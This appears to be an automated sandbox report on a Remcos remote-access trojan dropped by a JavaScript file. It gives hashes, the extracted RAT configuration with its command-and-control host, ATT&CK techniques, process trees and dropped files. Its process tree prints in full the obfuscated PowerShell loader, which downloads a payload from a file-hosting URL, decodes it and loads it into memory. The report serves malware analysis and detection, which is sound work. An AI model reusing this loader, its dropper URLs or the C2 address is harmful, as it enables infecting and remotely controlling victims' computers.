remcos | 2070ce444a8c4c0f646e4c82f613c34e1c2b0b578e98460bed6ee637fb599684

General

Target

SC__TR1160049907.js
Size

84KB
MD5

dff301df2596bec9d7e48c740d78292e
SHA1

9121cae742a8c8d38d8a87ba94d28bcfd8c40eb6
SHA256

587201f98c6d3aac49ba4637ecab3e1fcacb4a276f4528a123e6e64bce9fb30d
SHA512

d827d8a7f950c9884839a9d3d7588d77865cb542ba8b0e4901ad820ab9a79b941ac505ef37948a4dc504bde6248216e38c95cf54db45d8c6627efcb239c94882
SSDEEP

384:HZB5abdZB5abtZB5abdZB5abozZB5abtZB5abdZB5ab8ZB5abtZB5abdZB5ab3ZG:8Vl

Score

10^/10

remcos ood discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d

exe.dropper

https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d

Extracted

Family

remcos

Botnet

ood

C2

goody.work.gd:4173

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
vlc
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
ios
mouse_option
false
mutex
gig-R8G1B2
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
sos
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 5 IoCs

flow	pid	Process
3	1700	wscript.exe
27	1700	wscript.exe
32	4000	powershell.exe
77	4000	powershell.exe
102	3980	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
63	3112	Process not Found

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-194335498-2604837297-537231065-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-194335498-2604837297-537231065-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4000	powershell.exe
3980	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4000 set thread context of 2308	4000	powershell.exe	109

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1656	MicrosoftEdgeUpdate.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4000	powershell.exe
4000	powershell.exe
3980	powershell.exe
3980	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4000	powershell.exe
Token: SeDebugPrivilege	3980	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2308	MSBuild.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1700 wrote to memory of 4000	1700	wscript.exe	90
PID 1700 wrote to memory of 4000	1700	wscript.exe	90
PID 4000 wrote to memory of 3848	4000	powershell.exe	107
PID 4000 wrote to memory of 3848	4000	powershell.exe	107
PID 4000 wrote to memory of 2308	4000	powershell.exe	109
PID 4000 wrote to memory of 2308	4000	powershell.exe	109
PID 4000 wrote to memory of 2308	4000	powershell.exe	109
PID 4000 wrote to memory of 2308	4000	powershell.exe	109
PID 4000 wrote to memory of 2308	4000	powershell.exe	109
PID 4000 wrote to memory of 2308	4000	powershell.exe	109
PID 4000 wrote to memory of 2308	4000	powershell.exe	109
PID 4000 wrote to memory of 2308	4000	powershell.exe	109
PID 4000 wrote to memory of 2308	4000	powershell.exe	109
PID 4000 wrote to memory of 2308	4000	powershell.exe	109
PID 4000 wrote to memory of 2308	4000	powershell.exe	109
PID 4000 wrote to memory of 2308	4000	powershell.exe	109
PID 1768 wrote to memory of 3980	1768	wscript.exe	117
PID 1768 wrote to memory of 3980	1768	wscript.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\SC__TR1160049907.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ZicbaoiKcZUWALKLGdzS = '#x#.ip/ssc/sr.marolka#s//:sp##h';$kehTqeKRLeKfurTlWZpW = $ZicbaoiKcZUWALKLGdzS -replace '#', 't';$aZZNNLNLQOGGoCWhCbkO = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$zLqqzpCuitiRLWeqPKCZ = New-Object System.Net.WebClient;$NGkWmrWdKkeoGovHmLaI = $zLqqzpCuitiRLWeqPKCZ.DownloadData($aZZNNLNLQOGGoCWhCbkO);$LcfWBNPkmAWWOKGWGKoB = [System.Text.Encoding]::UTF8.GetString($NGkWmrWdKkeoGovHmLaI);$LPmoLegWkgUKaWGzcufn = '<<BASE64_START>>';$TolPfQorQoSezRukINLU = '<<BASE64_END>>';$AzULjuzPhKbGfBifGLQa = $LcfWBNPkmAWWOKGWGKoB.IndexOf($LPmoLegWkgUKaWGzcufn);$GLkbibcGLGluUGGCkLAA = $LcfWBNPkmAWWOKGWGKoB.IndexOf($TolPfQorQoSezRukINLU);$AzULjuzPhKbGfBifGLQa -ge 0 -and $GLkbibcGLGluUGGCkLAA -gt $AzULjuzPhKbGfBifGLQa;$AzULjuzPhKbGfBifGLQa += $LPmoLegWkgUKaWGzcufn.Length;$ZUSpkPAaqGkdQZAhRxiB = $GLkbibcGLGluUGGCkLAA - $AzULjuzPhKbGfBifGLQa;$ZzbeecchmWiUhQfsRLqP = $LcfWBNPkmAWWOKGWGKoB.Substring($AzULjuzPhKbGfBifGLQa, $ZUSpkPAaqGkdQZAhRxiB);$BknkLihqLhNGNNAGJAtP = [System.Convert]::FromBase64String($ZzbeecchmWiUhQfsRLqP);$BaLiZceemblmicRIWcLW = [System.Reflection.Assembly]::Load($BknkLihqLhNGNNAGJAtP);$WpZmovnLWUinqdclqfIL = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($kehTqeKRLeKfurTlWZpW,'','','','MSBuild','','','','','C:\ProgramData\','petted','js','1','1','pinenchyma'))"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4000
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\petted.js"
    3⤵
    PID:3848
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:2308

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7ODNCNzk1OEYtOEI2RC00NEE0LTgzNUUtN0ZEQzUzQzdDODVCfSIgdXNlcmlkPSJ7NDZDNkQzRjMtMDgxRi00MTQ5LTgwRDQtQkYxMjJEMzIwOTM2fSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7RjNFRTQ1RTItMERBMi00RDRBLUFDRTgtMkM3NEJBQjBBOTM5fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI5IiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDcxNzgiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxOTY4MDM3MTAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI0OTI2MDU5NTM2Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:1656

C:\Windows\system32\wscript.exe
wscript.exe C:\ProgramData\petted.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ZicbaoiKcZUWALKLGdzS = '#x#.ip/ssc/sr.marolka#s//:sp##h';$kehTqeKRLeKfurTlWZpW = $ZicbaoiKcZUWALKLGdzS -replace '#', 't';$aZZNNLNLQOGGoCWhCbkO = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$zLqqzpCuitiRLWeqPKCZ = New-Object System.Net.WebClient;$NGkWmrWdKkeoGovHmLaI = $zLqqzpCuitiRLWeqPKCZ.DownloadData($aZZNNLNLQOGGoCWhCbkO);$LcfWBNPkmAWWOKGWGKoB = [System.Text.Encoding]::UTF8.GetString($NGkWmrWdKkeoGovHmLaI);$LPmoLegWkgUKaWGzcufn = '<<BASE64_START>>';$TolPfQorQoSezRukINLU = '<<BASE64_END>>';$AzULjuzPhKbGfBifGLQa = $LcfWBNPkmAWWOKGWGKoB.IndexOf($LPmoLegWkgUKaWGzcufn);$GLkbibcGLGluUGGCkLAA = $LcfWBNPkmAWWOKGWGKoB.IndexOf($TolPfQorQoSezRukINLU);$AzULjuzPhKbGfBifGLQa -ge 0 -and $GLkbibcGLGluUGGCkLAA -gt $AzULjuzPhKbGfBifGLQa;$AzULjuzPhKbGfBifGLQa += $LPmoLegWkgUKaWGzcufn.Length;$ZUSpkPAaqGkdQZAhRxiB = $GLkbibcGLGluUGGCkLAA - $AzULjuzPhKbGfBifGLQa;$ZzbeecchmWiUhQfsRLqP = $LcfWBNPkmAWWOKGWGKoB.Substring($AzULjuzPhKbGfBifGLQa, $ZUSpkPAaqGkdQZAhRxiB);$BknkLihqLhNGNNAGJAtP = [System.Convert]::FromBase64String($ZzbeecchmWiUhQfsRLqP);$BaLiZceemblmicRIWcLW = [System.Reflection.Assembly]::Load($BknkLihqLhNGNNAGJAtP);$WpZmovnLWUinqdclqfIL = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($kehTqeKRLeKfurTlWZpW,'','','','MSBuild','','','','','C:\ProgramData\','petted','js','1','1','pinenchyma'))"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\ios\logs.dat

Filesize
144B

MD5
152d6ad60a26b92d4fbea5c6332a1e2a

SHA1
76cb219b65b7805ff52fb06d281604dc14733ad4

SHA256
cd5ba965e2cb92510a04703b56fa6eec015163fda94dee1cda1374f6cc6208a9

SHA512
96de114be68efaa88c26a871f912ce9e456f32e6b2a6242092d1cbc1c7b268b8c31b6a33343ad38bf9e1beb8d9dc92f9d472fd2937ff4f567fa078289584a469

Download Submit
C:\ProgramData\petted.js

Filesize
84KB

MD5
c4ab1e2c55acfd9c9ca257eaa15c6975

SHA1
4fb5bb28347d294f4d436d19ae2a4fecd8bd55a8

SHA256
6060ae405ec29048d656c80edecd07c913bb4affa78084877e28a92d26265025

SHA512
31fc8c48bc78702af3c839e1c158d782885cd6015f0a30ea3848ebb21bcddb4deef9c4a6d74a550fc2d0e993658913f9c1183ce05557f8140caaacb9a92be622

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\6NG3XLY0\thFXQBK6[1].txt

Filesize
4KB

MD5
0c1978b4b8c6b92dec732d4ba2cea3ab

SHA1
e26f244c16a77ea0441121af129377c3ff62adc7

SHA256
ded655c813366df2d01854eac604ad5ca27ad8c71617caba9fe42d8ead3c9a32

SHA512
3a71b1e2088657496bcc5c1d86363ad29e4e0b403df7e506755632ae9f0066a145fc8fa2ad5e31b9e5f0c3b5706de2f8e8a51e4056041e423ea196ac333781d7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
94dab7957cdba78ea122d3302fcb4103

SHA1
7d548cb9174038e693a55a0ad94ecd2a79107bf5

SHA256
3a5a14198ff1173ea41c15f2bb555d33857b5fc6b988847a61cf8c9863ce20c4

SHA512
a00a23215e45c7133a7c60c1fe877d60b31a360cf55d3ab2926c53ac9b598aa305681d02bb04fc9ab46834689e7cb022068f291af8bb268a1c35df7da4de9740

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vx3s0h2n.vg2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2308-48-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2308-50-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2308-45-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2308-47-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2308-24-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2308-25-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2308-28-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2308-31-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2308-46-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2308-33-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2308-38-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2308-52-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2308-40-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4000-19-0x00007FFAFBB60000-0x00007FFAFC621000-memory.dmp

Filesize
10.8MB

Download
memory/4000-32-0x00007FFAFBB60000-0x00007FFAFC621000-memory.dmp

Filesize
10.8MB

Download
memory/4000-22-0x0000021912650000-0x000002191265C000-memory.dmp

Filesize
48KB

Download
memory/4000-21-0x000002192CD20000-0x000002192CF26000-memory.dmp

Filesize
2.0MB

Download
memory/4000-4-0x00007FFAFBB63000-0x00007FFAFBB65000-memory.dmp

Filesize
8KB

Download
memory/4000-18-0x00007FFAFBB60000-0x00007FFAFC621000-memory.dmp

Filesize
10.8MB

Download
memory/4000-17-0x00007FFAFBB63000-0x00007FFAFBB65000-memory.dmp

Filesize
8KB

Download
memory/4000-16-0x00007FFAFBB60000-0x00007FFAFC621000-memory.dmp

Filesize
10.8MB

Download
memory/4000-14-0x000002192C9A0000-0x000002192C9C2000-memory.dmp

Filesize
136KB

Download
memory/4000-15-0x00007FFAFBB60000-0x00007FFAFC621000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads